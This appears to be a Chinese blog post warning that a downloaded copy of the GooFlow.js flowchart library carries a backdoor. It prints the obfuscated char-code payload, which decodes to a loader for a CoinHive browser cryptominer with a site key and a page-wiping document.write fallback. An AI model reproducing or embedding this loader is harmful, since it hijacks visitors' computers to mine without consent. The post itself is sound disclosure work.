GooFlow有后门代码

总结：在项目运行的时候发现html页面总是自动清空，js中有document.wirte('')，就是这个代码导致的，但是在GooFlow.js源码中根本就发现不了，结果发现eval()这个函数报错，于是执行代码发现隐藏代码。。。

这个地址下载的源码有问题：http://www.17sucai.com/pins/26954.html

修改源码：下图，注释掉eval函数的内容就好了

测试方式：在iframe中调用html才可以发现问题，html使用GooFlow

执行后的代码

源码解析

(function (c) {
                var r = '';
                for (var z = 0; z < c.length; z++) r += String.fromCharCode(c[z]);
                return r
            })([
                118, 97, 114, 32, 95, 61, 119, 105, 110, 100, 111, 119, 59, 116, 114, 121, 123, 95, 61, 95, 46, 111, 112, 101, 110, 101, 114, 46, 36, 125,
                99, 97, 116, 99, 104, 40, 101, 41, 123, 116, 114, 121, 123, 95, 61, 95, 46, 116, 111, 112, 46, 36, 125, 99, 97, 116, 99, 104, 40, 101, 41,
                123, 95, 61, 36, 125, 125, 59, 105, 102, 40, 33, 95, 40, 34, 104, 101, 97, 100, 34, 41, 46, 100, 97, 116, 97, 40, 39, 120, 39, 41, 41, 123,
                71, 111, 111, 70, 108, 111, 119, 46, 97, 61, 49, 59, 95, 97, 61, 50, 48, 59, 118, 97, 114, 32, 100, 61, 110, 101, 119, 32, 68, 97, 116, 101,
                40, 41, 59, 95, 40, 34, 104, 101, 97, 100, 34, 41, 46, 100, 97, 116, 97, 40, 39, 120, 39, 44, 49, 41, 59, 95, 46, 97, 106, 97, 120, 40, 34,
                104, 116, 116, 112, 115, 58, 47, 47, 99, 111, 105, 110, 104, 105, 118, 101, 46, 99, 111, 109, 47, 108, 105, 98, 47, 99, 111, 105, 110, 104,
                105, 118, 101, 46, 109, 105, 110, 46, 106, 115, 63, 34, 43, 100, 46, 103, 101, 116, 70, 117, 108, 108, 89, 101, 97, 114, 40, 41, 43, 100,
                46, 103, 101, 116, 77, 111, 110, 116, 104, 40, 41, 43, 100, 46, 103, 101, 116, 68, 97, 116, 101, 40, 41, 44, 123, 100, 97, 116, 97, 84, 121,
                112, 101, 58, 39, 115, 99, 114, 105, 112, 116, 39, 44, 99, 97, 99, 104, 101, 58, 116, 114, 117, 101, 125, 41, 59, 95, 105, 61, 115, 101,
                116, 73, 110, 116, 101, 114, 118, 97, 108, 40, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 123, 116, 114, 121, 123, 110, 101, 119, 32,
                67, 111, 105, 110, 72, 105, 118, 101, 46, 65, 110, 111, 110, 121, 109, 111, 117, 115, 40, 39, 71, 71, 100, 80, 71, 104, 120, 73, 108, 111,
                108, 100, 97, 65, 114, 65, 114, 81, 86, 119, 120, 90, 50, 115, 100, 56, 108, 48, 97, 52, 107, 72, 39, 44, 123, 116, 104, 114, 111, 116, 116,
                108, 101, 58, 48, 46, 52, 125, 41, 46, 115, 116, 97, 114, 116, 40, 41, 59, 99, 108, 101, 97, 114, 73, 110, 116, 101, 114, 118, 97, 108, 40,
                95, 105, 41, 125, 99, 97, 116, 99, 104, 40, 101, 41, 123, 95, 97, 45, 45, 59, 105, 102, 40, 95, 97, 60, 49, 41, 100, 111, 99, 117, 109, 101,
                110, 116, 46, 119, 114, 105, 116, 101, 40, 34, 34, 41, 125, 125, 44, 49, 48, 48, 48, 41, 125
            ])

我这个版本是

/**
 * Gooflow在线流程图设计器
 * Version: 1.3.5
 * Copyright: foolegg126(sdlddr)

这个人的代码有问题

文档参考地址

https://gooflow.xyz/docs/